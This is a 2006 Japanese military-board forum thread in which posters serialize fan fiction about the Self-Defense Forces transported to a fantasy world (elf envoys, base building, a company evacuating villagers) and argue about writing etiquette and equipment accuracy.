自信を持って書けば良いのさ。これはそうなんだ! と言える知識の裏づけと
バックボーンさえ設定すれば、文句を付ける意図を持つ輩しか文句は言わんだろう。
そのための「このスレ」だしな? 先ずは資料の読み込みがこの板の基本さね!

 軍事組織だって人間の集団なのだ。会社組織を例にとっても構わんさ。だが、
自由度と命令の過酷さが少々違うだけだ。その匙加減はSS作者に任せられている。

 小官が戯言吐いて来たら無視するか『正統に』反論するかする度量があれば充分さ。

170 名前: 小官 ◆qG4oodN0QY 2006/06/05(月) 20:39:05 ID:???

少々、お喋りが過ぎたようだな? 本当に怖いのは黙っている奴なのさ…。
しばし、筆を置こう。またいつか、な! …新規参入者へ! 頑張れ! 以上!

171 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/05(月) 20:49:24 ID:???

んーまあ、当方は賑やかな応酬が好きなので、
当方にとっては、正直、小官殿が居た方が楽しげでありますですよ。
(噛み付かれた方々にとっては災難でありましたでしょうけれど・・)

んーで、たしかに、
静寂な環境でこそ本領を発揮する職人の方々も、
静寂な環境でのみモチベが沸いてくる方々も多勢でありますので、

上手い共存共栄の道があるといいなあ、と考えています。。

172 名前: 名無し三等兵 2006/06/05(月) 22:14:37 ID:???

そりゃ、小官隔離スレしかねえだろ。



173 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/05(月) 23:10:01 ID:???

うーん、それじゃこんなタイトルはどんなでしょ?
【分家で小官殿が】本日のズバリ言うわよ!【一刀両断!】・・冗談デス・・w;

いちお、小官殿さえ良ければ、
小官殿の生んだ人達を私のSSで登場させて、小官殿が私のソレを赤ペンつけて、
私がそれを拝領する、という形なら
別段、本スレ防衛戦以外で小官殿が常駐していても自然な形になると思うのですが。。。

174 名前: 名無し四等水兵 2006/06/05(月) 23:11:52 ID:???

>>168
ふむふむ。参考になります。


175 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/05(月) 23:21:54 ID:???

出張より帰還。
日付変更を持って限定攻勢に出る予定。

176 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 00:04:04 ID:???

西暦2020年1月13日 19:40 隣の大陸 陸上自衛隊大陸派遣隊第一基地

 アメリカ人たちならばファーストベースと格好良く横文字になるべきこの基地は、昼間の騒ぎにも負けず、なんとか落成式を迎えた。
 基地を囲むようにサーチライトが灯され、随所に89式戦闘装甲車や90式戦車がエンジンを止めて待機している。

「さて、それでは話して頂きましょうか、あれこれと」
「その前にこのロープを解いてくれると嬉しいわね。私こういう趣味はないの」

 全ての所持品を取り上げられ、そして実弾を装填した警務隊員に囲まれる中、その女性はにこやかに答えた。
 顔面を殴りつけ、減らず口が叩けるとは大したものだな貴様。
 と言ってもいいが、そこまでステレオタイプな『憲兵隊』を演じる趣味はないらしい警務隊員が、こちらに目線を向けてくる。

「構わんよ」

 すぐさまロープが解かれる。
 痛そうに手首をさすりつつ、女性は軽く体を動かした。

「全く、こんなにきつく縛る事はないじゃないの」
「軽く縛って逃げられるよりはましなんでね。俺たちはそこまで間抜けじゃない」

 答えつつも腰の拳銃を確かめる。
 一応命の恩人ではあるが、襲撃してきた連中とそれほど縁が遠いわけではないらしいこの女性に、そこまで気は許せない。


177 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 00:06:32 ID:???

「で、どこから話せばいいのかしら?」
「君の名前、どこかの組織に所属しているのならばその名前、階級や所属があるのならばそれも」
「シャーリーン・オリーブドラブ、エルフ第一氏族、人界全権大使」

 なんだそりゃあ?国防色のM14?
 確かに指輪だの二つの塔がどうのだのって作品に出てきそうな外見をしているが、エルフ?人界全権大使?
 ちょっと待ってくれよ。

「あーそれでシャーリーンさん、確認なんだが、第一氏族ってのは、部族みたいなものかな?」
「そうよ、私たちエルフは第一から始まって、多くの氏族に分かれているわ」
「解説どうも、それで、その人界全権大使ってのは?」
「あなたたち、一体どこの未開の部族なの?」

 国防色のM14さんは呆れたような表情を浮かべてこちらを見た。
 どうやら、この大陸ではエルフとやらはありふれた種族らしいな。
 っていうか待てよ、大使?大使閣下ってことは、それなりに偉いんじゃないか?
 うん、言葉遣いは直しておこう・・・いまさらな気はするが。
 
「すいませんね、こう見えても一応大学は出ているんですが。
 まぁそれはさておき、大使、ということは、外務省、えーと、他国との外交や折衝に当たる立場と考えていいのでしょうか?」
「そうよ、私はエルフ第一氏族の人界、つまりドワーフや人間相手の交渉を行っているわ」
「はぁ、わかりました。それで、我々のところに来た理由ですが」
「前にも言ったでしょ?よりにもよって聖なる森のそばで火を焚いた理由を聞きに来たのよ。
 控えめに見ても宣戦布告、いえ、むしろ戦闘開始とも呼べる行動よ?
 私の知る限りは今日初めて会ったあなた方に、そこまでされるような何かがあったのかしら?」

 お、おいおい、俺たちは遮蔽物の除去と余った草を焼却しただけだぞ。
 戦闘開始だと?
 糞、よりにもよって俺たち専守防衛の自衛隊が、先制攻撃に近いものをしてしまったというのか?
 しかも、火を焚いたのも戦闘を行ったのも俺の小隊じゃないか!!

178 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 00:08:46 ID:???

「我々としてはそのような認識ではなかったのですが。
 しかし、そうなるとまずいですね」
「ええ、確かにそうね。第一氏族については私から話しておくけど、第三氏族の連中はしつこいわよ。
 あいつらときたらエルフとは思えないほど戦う事が大好きだから。
 ましてや森のそばで火を焚いていたなんて、まあ“大協約”の発動はないだろうけど」

 ふむ、エルフの皆さんはご他聞に漏れず火が嫌いで植物が大好きなんだな。
 だがね、俺が言っている問題というのはそれじゃないんだよM14殿。

「既に今日の出来事は本国に報告済みなんです。
 それでですね、どうやら私どもの上では、非戦の方法ではなく、攻撃の方法についての議論が行われているようなのです」

 ウソでも脅してもなかった。
 俺たちより一ヶ月未来に位置している本土では、随分と血生臭い出来事があったらしい。
 転移による混乱、としか報告を受けていないが、自衛隊が国内に軍政を敷き、物流をある程度コントロールしているような状況だ。
 よほどの大騒ぎがあったんだろう。
 昼間の戦闘について、発砲についてではなく、相手の戦闘力についての質問しかしてこないくらいに日本は変化している。
 そして攻撃の方法について云々もウソではない。
 海に関しては二隻の増援が、空に関しては滑走路の完成を待って一個飛行隊が、そして陸に関しては混成戦闘団が、それぞれ増派されて来るという。
 森を焼き払うには十分な戦力だ。
 もちろん、我々がベトナム戦争のやり直しをする恐れなどない。
 なんといってもそれが出来るだけの国力がないからな。


179 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 00:24:19 ID:???

「呆れた、森に手を出せば“大協約”が発動するわよ」
「だいきょうやく?」
「エルフ全氏族が加盟している盟約よ。
 聖なる森に火を入れる者には死を与える、それだけの盟約。
 今から500年前くらいにそれで国が一つ滅んだわ」
「そいつは困りますな。まぁ、攻撃と言っても明日の朝一でいきなり、というものではありません。
 お互い文明を持った種族同士、できれば話し合いだけで解決したいところですな」
「そうね、ところで今日はもう帰ってもいいかしら?氏族長に貴方たちの事を伝えないといけないから」
「ええ、入り口まで送りましょう」

 彼女を森のそばまで送り、そして自分を呼びに来た警務隊員に連れられて本部へと移動する。
 そこでは先ほどの会話を元に会議を開いていたらしい戦闘団長たちが待っていた。

「三尉、まずは相手の情報から検討しよう。君たちの会話は申し訳ないが録音させてもらった。
 会話での感触を元に攻勢までの行動方針を決定する、座りたまえ」
「はっ、失礼いたします」

 会議はすぐさま始まった。
 こちらの聞きたい事は、実は先ほどの会話でほぼ聞いていた。

180 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 00:32:04 ID:???

ひとまずここまでです。
ある程度量が溜まってくれたら2時ごろに再出撃予定です。

いまさらながら
乙です>>ALL作家殿


181 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/06(火) 00:51:02 ID:???

投下お疲れー。

もう、再出撃予定ですか。。。
寝させないとおっしゃられるか(笑

182 名前: 名無し三等兵 2006/06/06(火) 01:15:23 ID:???

では深夜アニメを見ながらMaster of Orion ][といくか。

183 名前: 名無し三等兵 2006/06/06(火) 01:35:46 ID:???

909氏、乙ですー。

184 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 02:02:44 ID:???

西暦2020年1月14日 18:39 隣の大陸 陸上自衛隊大陸派遣隊第一基地 正面ゲート

 施設の働きにより、基地はさらなる発展を遂げていた。
 監視塔には車輌のガラスを取り外して設置された窓が用意され、サーチライトも拡声器も重火器も増強されている。
 また、施設の建設よりも優先されてトーチカが設置され、さらには警戒に当たる車輌も増えている。
 まあ無理もない、今は臨戦態勢どころか戦闘配置だ。
 遠い将来満杯になる予定の倉庫よりもこちらが優先されてしかるべきだ。

「それに、我々はこの基地の眼に、耳に、盾に、剣になるべき存在ですからね」
「ああ、それが小銃一つで立ちんぼじゃあ、いざという時に何があるかわからない」
「そういえば、お聞きになりましたか三尉殿」
「海兵隊の話か?」
「ええ」

 転移当時の日本には、合衆国各地からかき集められた兵士と兵器と物資が満ち溢れていた。
 何しろ直ぐ隣の半島では冷戦時代以来の代理戦争が盛大に執り行われており、日本列島はアメリカ本土と半島の間に存在している。
 世界最高峰の民間の港湾、空港設備、そしてアメリカ軍の恒久基地を持ち、食品などもレーション以外は全て購入できる。
 治安は良好、現地軍は友好的かつ強力とくれば、これを後方支援基地として使用しない手はない。
 そんなこんなで、小は再編成中の大隊から大は空母機動部隊まで、日本は『第二の占領時代』と揶揄されるほどに米軍が駐留していた。

185 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 02:06:45 ID:???

「連中、どうやら政府に脅されて我々の指揮下に入るらしいですよ」
「はて?俺が聞いた話では、再編成中の陸軍と海兵隊がそっくりそのままここに派遣されてくるって話だったぞ」
「もうそこまで話が進んでいるのでしょうか?まあ、ありえないことではないでしょうが」

 自衛隊の偵察衛星から情報を受け取ったアメリカ軍は、座標的にはあるはずの地点にアメリカ大陸の欠片も発見できずに発狂しかけた。
 一応大陸らしいものはいくつか発見できたが、そこに2019年のアメリカの痕跡を見出すことは出来なかった。
 それどころか、ロシアも中国もイギリスもフランスも。
 あるべきところに陸地がなかったり、陸地はあっても痕跡は見つけられなかった。
 そして、その結果が二人の会話である。
 在日米軍を含む日本駐留中の全アメリカ軍は、自衛隊の指揮下に入る事となったのだ。
 兵士の頭数が増える事に現場指揮官たちは大喜びしたが、上層部の人間たちはそこまで無邪気には喜べなかった。
 なにしろ、頭数は増えたが、彼らを食わせるべき食料は減る一方なのだ。
 JAに脅迫に近い要請をしてはいるが、長年の政策が功を奏し、食料自給率は向上予定のグラフすら完成していない。
 燃料はタンカーや国家・民間備蓄基地からの供給を統制する事により、推定で半年分。
 だが、人間は石油で腹を膨らませる事はできない。
 これでは近代文明の切れ端と共に全員が息絶えてしまう。

186 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 02:16:32 ID:???

 その絶望的な未来を回避するため、日本人たちは実に懐かしい手法を取る事にした。
 すなわち、戦争による領土拡大と資源獲得、および海外移民政策である。
 正直な所、彼らには時間がなさ過ぎたのだ。
 外務省の異様なフットワークの良さも、書類作成が間に合わないほどの増援部隊派遣も、全てはそのためだった。
 そして佐藤たちがいるこの基地は、大陸への玄関として、万が一の際のダンケルクとして、認識されていたのである。

「うるせぇなぁ」

 二人が話す監視塔の上を、AH−64DJの編隊が通過する。
 自衛隊的感覚では調達が未完の新型機、という位置づけになるこのヘリコプターは、明らかにオーバーキルになるであろうこの戦場へ投入されていた。
 まあ、あのまま朝鮮半島に到着していたとしても、仕事の内容はあまり変わらなかっただろうが。

「・・・ん?ありゃあ、昨日の奴か」

 空から地面へと視線を移した佐藤は、一瞬で昨日の女性を発見した。
 その言葉に三曹は内心驚きつつもライトを動かし、彼女をライトアップする。

187 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 02:17:50 ID:???

「どうぞ三尉殿」
「ありがとう」

 マイクを受け取った佐藤は口を開いた。

<<はい、そこで止まってください。直ぐにそちらへ行きます>>

 するすると監視塔から降り、ダッシュ。

「こんばんわオリーブドラブさん」
「こんばんわサトーサンイ。シャーリーンでいいわよ。で、早速なんだけど」
「交渉ですか?」
「ええ」
「それならばこちらへどうぞ。外務省の、まあ、我が国の貴方のような立場の人間が来ています」

 すぐさま基地内へと誘導する。
 目的地は外務省臨時出張所。
 この世界にとっての災いが、その第一段階を開始しようとしていた。

188 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/06(火) 02:20:52 ID:???

本日はここまでです。
ではでは

189 名前: 名無し三等兵 2006/06/06(火) 02:22:04 ID:???

お疲れ

190 名前: 名無し三等兵 2006/06/06(火) 02:56:06 ID:???

お疲れ様ー。JA職員カワイソス杉

191 名前: 名無し三等兵 2006/06/06(火) 07:13:35 ID:???

おつです。

+   +
  ∧_∧ + 
 (0゚・∀・)    ワクワク
 (0゚∪ ∪ +     テカテカ
 と__)__) +

192 名前: 名無し三等兵 2006/06/06(火) 09:37:46 ID:???

今回のスレは進行早いのう。

193 名前: 小官 ◆qG4oodN0QY 2006/06/06(火) 11:38:34 ID:???

 「歴史を改変、か」

 中井三佐は溜息を吐く。自分の部隊が死人と為っているなど、誰が好き好んで
聞きたいか? 聞かせた人間が冗談好きで法螺吹きでも、これは振るっていた。
 まさか生きているうちに、病院以外で自分の死亡宣告を聞かされる羽目になる
とはな…。中井三佐が小川の目を見つめる。発言を促されたと小川は判断した。
 
 「現時点では死人では有りません! 王国獣人密偵団の策に嵌まる前に…! 」
 「小川二士! 黙れ! 」
 「ハイ、おがわにぃーし! 」
 「…私も使って見たいものだな…それ…小川二士と言う呪文を…」
 
 現相棒を小川は恨みがましそうに横目で見遣った。中井三佐は小川から目を離し、
部下達を見る。小隊長である尉官達を見事にスルーし、その後ろの先任陸曹や小隊
陸曹、指揮班長に各砲班長、補給班長を。咳払いをして、先任陸曹が口を開く。

 「中隊長、僭越ながら自分が発言して宜しくありますか? 」
 「菅原、何だ? 同期のよしみで聞かんでも無いぞ? 言って見ろ」
 「…じゃあ言うぞ中井。お前の教え子の話じゃ、この状況を打破する手段が
  あるそうじゃ無いか。まあ俺達はこのまま行きゃあどの道、全滅必至だ。
  だが、このカワイイ小川二士のお話に乗れば、犠牲は少なくて済むって
  寸法だ。…なあ中井。部下を全員生きて還そうっつー、お前の理想は買う」

 中井三佐の顔が一瞬頬を打たれたように呆気に取られた。人間誰しも、心の中を
言い当てられた時はそうなるものだ。菅原曹長はそれを観て苦笑し、言葉を切る。

194 名前: 小官 ◆qG4oodN0QY 2006/06/06(火) 11:41:01 ID:???

 「…今の今まで戦死者0で来た。パーフェクトゲーム直前だな。だがコイツは
  スポーツじゃ無い。飽きるほど繰り返した演習でも無い。戦争ごっこじゃあ、
  無いんだ。どうしても犠牲は出るんだよ。済まないが、中隊の行動決定権は
  お前が握っている。勿論、上の命令がどうのとか考えている場合でも無い」
 「言い難い事までズバズバ言いやがるな…。まだ課業中だぞ…? 」
 「言やぁ良いんだよ。尻尾捲いて退却するってな? ニッポンへ帰れるぞってな?
  若い衆、喜んでさっき全部降ろした荷物を車架するさ。なあ? 」
 
 菅原は背後の砲班長達を振り向く。砲班長は20代後半から30代前半の若手隊員が
多い。照れ笑いがそこかしこで漏れる。中隊長と先任陸曹が慕われている証拠だった。
普通の部隊運営ならば隊員達は自分の意志など見せず、命令下達まで沈黙を保つ。

 「わかった、わかったよ菅原…。もう黙れ」
 「ハイ! 中隊長! 」
 「…今より20分後に出発」

 中井三佐が微笑みを消し、真顔に戻って静かに、良く通る声で話す。何故か一旦言葉を切り
尉官達を見遣る。呆然として声も出さない尉官達の目の前で大きく解るように溜息を吐く。 

195 名前: 小官 ◆qG4oodN0QY 2006/06/06(火) 11:48:16 ID:???

 「…機材と武器・背嚢以外の生活物品は皆焼却破損処分!空いたスペースで集落住民を
  収容! 敵、王国獣人密偵団との識別を容易にするため、各自所持の識別マフラーを
  裂き、住民の右腕に捲かせる! 各班長は指示、命令を各班員に徹底させろ! 」
 
 中井三佐はまた、言葉を切り尉官を見遣る。大きく舌打ちまでして、尉官の最先任者を睨む。
  
 「…副中隊長! 俺にまだ細かい事を言わせる気か? 」
 「…藤巻2尉、普通は、中隊長が出発を決断したら、引き継いで指示命令を出すのが…」
 「いい、菅原。お前達が出来過ぎてるから奇跡的にボンクラでも勤まったんだよ。今度は
  無能は死に直結する。…各班長! 小隊長が邪魔ならもう撃っていいぞ! 俺が許す!」

 声も出さずに散っていく各班長の背に中井三佐は哄笑した。慌てて尉官達はその背を追っていく。
その場に残されたのは先任陸曹と中隊長、小川と現相棒の戦乙女の4名だった。

 「さあ、聞かせて貰おうか小川? この以前の、俺達の死の行程をな? 」

 爽やかな笑みが、戦乙女の眼に眩しかった。やはり戦士は良い。そう思わせる中井と菅原の笑顔だった。

 「…住民保護とは思いも寄りませんでしたよ、区隊長…」
 「俺達と戦って、戦死した集落の戦士を丁寧に葬った俺達に恩義を感じていると情報を呉れたんだ。
  無視するワケにはイカンさ。それに一宿一飯の恩義だ。メシ…喰って無いが招待されたしな、菅原? 」
 「ハイ、中隊長」
 「…30分後に、集落より火の手が上がります。そして、歩哨が2名喉を噛まれ死亡」

 手帳を片手に、腕時計を見ながら小川は平然と変わらぬ調子で呟く。撤退準備完了まであと、18分。    

196 名前: 小官 ◆qG4oodN0QY 2006/06/06(火) 11:50:27 ID:???

突然の投稿終わり。
以前から細々と続けている、魔導士教育隊シリーズの続きだ。
駄レスに混じり、結構ここまで進んでいたりする。
気に為る人だけ振り返ってくれ。小官は突き進むのみ。以上。

197 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/06(火) 16:02:36 ID:???

皆様乙彼様です。歩哨が噛まれて死亡・・今準備中のWizネタがヨミガエリングもといゾン〇スレ。
話は変わって分家の所員殿も快進撃中であります。

198 名前: 名無し特務曹長 ◆PpFoUMU1wU 2006/06/06(火) 16:11:46 ID:???

ううむ・・・
素晴らしい文の山だなこりゃ
執筆しつつwktkしときます

199 名前: 名無し三等兵 2006/06/06(火) 18:19:29 ID:???

>>196
で、前の話はどこいら辺でしたっけ?

200 名前: 名無し三等兵 2006/06/06(火) 22:53:50 ID:???

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201 名前: 名無し三等兵 2006/06/06(火) 22:58:17 ID:???

皆様投下乙です。

202 名前: ◆YXzbg2XOTI 2006/06/06(火) 23:00:58 ID:???

>>166
>老婆心と言う奴はとかく要らぬ
>お節介を焼きたがるものでね。

お前のは要らな過ぎるし一言も二言も多いし何より
「お前が説教垂れてる事を自分でやれっつーか人に言う前に自分が直せ」
なのが蛇蝎のごとく嫌悪どころか侮蔑される原因だと思われ。
>168特に推敲はお前こそすべきだ。
狂気の沙汰ってお前のことか、毎度ながら。

でも小官殿みたいなクソ野郎でも皆で合作とかする時に混ぜてやれば
すげー面白いSSが出来そうだと思える辺りが一番気に食わない。
つーか小官節を他のSS作者で成分薄めてしまうとちょうど良くなりそう。

203 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/07(水) 00:00:27 ID:???

出勤前にこんにちわ☆ お、Y様来てる☆
>皆で合作とかする時
>他のSS作者で ・・物凄くはげどうです☆♪
というか小官殿の世界とキャラ、の使用許可を頂きたい位W

と、リアル版ハリセン巨人機小隊モードにうれすぃヒスイ。
ではでは。)ノ

204 名前: 名無し三等兵 2006/06/07(水) 12:20:35 ID:???

つ>>202
オーク軍の襲来に対し、崖っぷちに立たされた人間の王国は「異世界の存在を召喚して一定時間戦わせる」という
禁呪を発動させる。 その魔法は成功し、異世界より鉄の馬と火を噴く杖を持った軍隊が召喚され、オーク軍を蹴散らし始めた。

…しかし。

「…おかしいなあ。 もう既に召喚の永続時間は過ぎたはずなのに、送還されない」

本陣にて、禁呪を発動させた魔術師は首を捻っていた。 いつまでたっても異世界の軍隊が元の世界に帰る兆しがない。
召喚された存在は、魔法の効果時間が切れるとともに自動的にもとの世界へ送還されるはずだった。
なのに、計算ではもうそろそろ、送還されてよい頃合だと思うのだが…?

「おお、オークの醜い豚どもが蹴散らされてゆくぞ!! うわはははは!!」
「やれ! 殺っちまえ!! ブタどもを殺せー!!」

王や将軍達は狂喜乱舞して、異世界軍とオーク軍の戦いを見守っている。
轟音と炎に包まれ、オークの軍勢は既に潰走し始めていた。

「…やなばいんじゃないのか、あれ」

ふいに、一人の騎士が魔術師の側に近寄ってきて囁いたので、魔術師は一瞬どきりとして緊張した。

205 名前: 名無し三等兵 2006/06/07(水) 12:21:46 ID:???

つ>>202
「な…なにがですか?」
「いや、異世界の軍隊の事さ。 たしかにオークどもを蹴散らし、一方的に蹂躙しているように見えるんだが…統制が取れてない。 闇雲に戦っているような感じだ」

てっきり魔術師は、異世界軍が帰らないことを指摘されると思っていたので、ほっとするとともに、確かに…と呟いて新たな疑問を異世界軍に向けた。

「まあそりゃあ、彼らにしてみれば突然呼び出されて戦わされているんですからね。 混乱もするでしょう。 この魔法はそれも利用して、召喚した存在を戦わせているようなものです」
「なんだそりゃ。 随分いい加減だな?」

あ、まずい、と思って魔術師が口を押さえるももう遅い。
騎士はさらに、「そんな方法で戦わせて、もし俺たちの側に攻撃しかけてきたらどうするんだ?」と言いかけて…。

「おい…なんか、異世界軍こっちのほうに向かってきてないか?」

槍を持った兵士の一人がそんな事を呟いた。

一方その頃、異世界軍…つまり自衛隊。

「化け物だ!! うわああーーーっ!!」
「北野ニ曹!! 畜生、ブタの怪物め!! 殺してやる!!」
「RPGを、いいからRPGをはやく撃てっ!!」
「ああああああああーーーーーっ!!」
「バカヤロウ! 耳元でミニミを撃つなーっ!!」
「状況を、状況を報告しろっ!!」

206 名前: 名無し三等兵 2006/06/07(水) 12:23:33 ID:???

つ>>202
544 名前:小官 ◆qG4oodN0QY :04/02/17 17:51 ID:???
 SSも議論も、一つのアレだ、大命題に至るまでの行程である! 行程で楽しいのも良いがな、
どうも背後にその…感じるのだ。あの『ラ』の付く板が。自衛隊装備にRPGを描いた奴が出てきた
時点で、小官は憂スレの心境に至った! 馬鹿者ォ! 小道具位、最低限調べてから書け!
 スレタイを焼き付けろ! 自衛隊装備も弁えぬ愚者の流入だけは避けたいのだ! 恐怖だ!
『軍事板だから兵器入れればOK! 』とほくそ笑む、破廉恥な糞野郎の流入は勘弁してくれ!
 小官からのささやかなオ・ネ・ガ・イ! ホント、小官、アレには頭を抱えさせて頂いた。 

207 名前: 204 2006/06/07(水) 12:41:44 ID:???

以上、旧スレからひっぱって来た。
この>>202のツンデレは2年前の15章からはじまったらしい。>>204−205は15章の498-499。

498 名前:魔術師1 :04/02/17 13:23 ID:???
>496
うん…でも最近流れが速いから一日見ないだけで次スレになってしまわないか心配でさ…。

随分前に考えたネタ。 名前欄のはその時のコテ名乗ろうと思ってた物。

208 名前: 204 2006/06/07(水) 12:46:02 ID:???

ついでに、>>206の回答もうp。わらっちゃうね。

692 名前:魔術師1 :04/02/18 06:07 ID:???
確かに自衛隊の装備には「RPG」は無かったような気はしたけどさ。
ちゃんと「即興で(30分ぐらいで)文章書いたから間違っているところは脳内修正してください」
とも言い訳しておいたじゃないか。
こっちだって資料確認する暇省略したから間違ってる部分多数だと承知してるよ。
別に三日三晩寝ずにプロット練りこんで下書きして推敲して清書して書いたものじゃないんだからさ。

まあいいさ、次からはちゃんと資料調べて一切の間違いや誤字脱字のない完璧なSSを書けばいいんだろう?
ストーリー筋道も通って伏線も回収され美しく読みやすい文体でなおかつ人を引き付ける読ませ方の上手い文章で?
クライマックスに向けて盛り上がっていきそして最後はどんでん返し? ああいいね、そんな完璧なSS読みたいね。 書けたらいいね。 でも

だれがそんなの書くか。 書けるか。
やっぱり書くんじゃなかった、素直にROMしてりゃあ良かった。
もう此処にはこない、正直気分悪い。

…なんて事は既に昨日までの時点で学習・成長しているから言わない。

209 名前: 204 2006/06/07(水) 12:49:03 ID:???

あげちゃった。ごめん

210 名前: 名無し三等兵 2006/06/07(水) 13:13:15 ID:tMPD9osA

>>208

正式装備ではないが、持ってることは持ってるぞ
確か装甲の対弾試験用だったと記憶してる

211 名前: 名無し三等兵 2006/06/07(水) 15:33:52 ID:???

>>210
ageんな!

212 名前: 名無し三等兵 2006/06/07(水) 19:22:25 ID:???

>>210
持っていても正式配備されてなきゃ意味無いと思うのだが

213 名前: 名無し三等兵 2006/06/07(水) 21:19:09 ID:???

「技術研究本部だけファンタジー世界に召喚されました」なら使えるかもしれんが‥
そもそも実戦部隊じゃないが。

214 名前: 名無し三等兵 2006/06/07(水) 22:04:51 ID:???

食えなくて
差別や偏見、格差が激しい国に法を犯して
滞在し、永住権や帰化を目標に生息している
輩の国に、神国日本は絶対負けない。

米国の永住権放棄するの世界中見渡しても、日本人ぐらいだ。
つまり 皆な色々言ってるが、日本が好きだから留まっている。
愛国心と言うより、究極の戦力になりえる。
したがって自衛隊最強。

215 名前: 名無し三等兵 2006/06/08(木) 00:40:12 ID:???

>>213
それはそれで面白そうだな。

216 名前: 椋鳥 ◆ZYEMgbhZg2 2006/06/08(木) 01:43:35 ID:???

まぁアレですな、ツッコム時は簡潔に。
余計な事言って相手の敵愾心を煽るべきではない。
間違える事も、訂正する事も恥ではない。

ツッコミ「自衛隊の正式装備にRPGは無かったのでは?」
作者「あ、スマソ。脳内修正しといてくれると助かる。」or修正版UP

これが一番幸せになれると思われ。

>>214
士気は重要な戦力倍増要素の一つ、これは認める。
しかし、最終的に優劣を決めるのは、戦力・ドクトリン・兵站だ。
感情論や気合・根性で勝てないのは、俺らの爺さんが身をもって証明済み。
自衛隊は継戦能力・思考アルゴリズム等の兵站機構の欠点を旧軍から受け継いでいる。
限定的防衛戦力としてならベスト5の一つに入れて良いとは思う。

過去の軍板バナーより
「私たちの事、時々でいいから思い出してください。」(背景チハタン)
爺さん達の戦訓忘れるべからず。

217 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/08(木) 11:09:04 ID:???

なんか良い話が続いていますのう〜。
バナーといえば自営業閣下のあの名物2人のバナー(先週)もよかったけど
チハのも何時か回ってくるのかも、ですよ。

私の投下のでは、弾薬&燃料枯渇の危機がやってくるのですが、
各資料に出てきます不発弾処理班みたいな責任感が極めて強い方々によって何とか回る、という感じに。
ところで現職の装備についての知識不足を講義してもらいたいのですが、
何方か都合の宜しい場所を御存知ありませんでしょうか。誘導の事、宜しくお願いします。m()m
(分家某所なら小官殿も降臨しますでしょうかしらw?)

218 名前: 名無し三等兵 2006/06/08(木) 18:15:20 ID:???

>>199
小官のアホ、無記名でSSやったりするからな。文体でバレバレだけどw

57 名前:嫌がらせ。単発よし! :04/05/01 23:12 ID:???

 「秘技だか何だか知らんが…足技遣った時点でお前の負けだよ。さあ、死ね」

 俺は綺麗な脚を押さえのたうつ、女拳法遣いの喉を半長靴で軽く踏んだ。俺達が取り残され、
一年が過ぎた。俺達の故国『帝国』領に戻る事は、皆の総意だった。その途中に進駐した
地区の寺院が武装蜂起した。…気が進まんが、抵抗する者はことごとく踏み潰すしか無い。
 舐められれば、襲われる回数が増えるだけだ。一罰百戒。達人とされるコイツに素手で
打ち勝てば、抵抗も止むと見ての行為だった。

 「足技は確かに距離を取るのにも便利で、威力も高い。だが、同時に機動力の源でもある」

 初回に蹴りを捉え、軸足を脚で潰し、蹴り脚も肘で潰す。後は右面打ち、左面打ち、胴突き
右面突き、左面突き等のオンパレードだ。汚かろうが何だろうが、敵は殺す。それが『軍事組織
のやり方』だ。隊員にとって、徒手格闘は基本だ。最も、形を演練する『門前の小僧』レベルだが。
 抵抗能力を奪わなければ、何時相手に逆襲されてもこちらは文句は言えないのだ。拳法遣いの顔が
恐怖に歪む。負けを知らない奴の、甘ったれた顔の…屈辱に染まる様が…たまらなく良い。

 「悔しいか? …文句は言うなよ? お前の土俵で付き合ってやったんだからな? 」

 高く響く破裂音が遠くで響く。小銃弾に勝てる武道が有るなら習得に皆、血眼に為るだろう。
他人の生殺与奪を握るのは…正直、俺には荷が重過ぎる。何時まで経っても、慣れぬものだ。

219 名前: 名無し三等兵 2006/06/08(木) 18:15:33 ID:???

ここが小官隔離スレで分家が避難所なんだから呼ぶなねりつぶ野郎

220 名前: 名無し三等兵 2006/06/08(木) 18:27:33 ID:???

>>219は小官嫌いの萌え信者

221 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/08(木) 20:01:01 ID:???

>>219
余り心配しなさるな。
ああ見えて、小官殿は色々と気をつかっておられるのでありますよ。

現に >>219 が、ここが小官専用隔離スレ、と見ているように、
少なくとも最近は小官殿は分家に顔だしませぬし、
ここですら防衛戦以外ではそうそうレスしていませぬ。

私としても、分家の風を乱したくなく、
分家には顔を1度しか顔を出していませぬ。
ヨークタウン氏やくろべえ氏に乙です〜の一言もレスりたいのですが。

もう少し、小官殿という人を、大きな目で見られたほうが宜しいですかと。
たとえば・・wiki殿の掲示板とか。

222 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/08(木) 21:20:19 ID:???

 今井らがこの世界に飛ばされて、どれ位の時間が経過したのだろう。

 今井は比較的・大勢の市民がいるエリアに、いた。
そのため、最初の10分間を生き延びる事が出来た。
最激戦区にいれば、ものの5分内で無残な最期を遂げていただろう。
実際、生き延び事が出来たと言っても、
ただ逃げ惑う人に流されるまま逃げているだけだったのだから。
 やがて、中世騎士風の“敵”が、
逃げ惑う市民の群を思う様に蹂躙・殺戮していく“地獄”がやってきた。
 その混乱から今井が剣を取って、
あの“男”と生き抜いたのが・・5分間程度の事だっただろうか。
救出されて落ち着いている“今”の時間も含めると・・どれくらい?

 ・・こんな、僅かな時間で“あの男”は、

10を遥かに超える敵を倒し、突進してくる装甲車を捕まえ、
私も救出して、また今も戦闘をしてのけているのか。
( やっぱり“あの男”は化け物なのだな )今井の思いを他所に“あの男”は、
死んだ隊員達の銃を拾いながら、ここの外縁を阿修羅さながらに死守している。

223 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/08(木) 21:29:21 ID:???

「 不味いな 」ここの外縁に押し寄せる敵は、
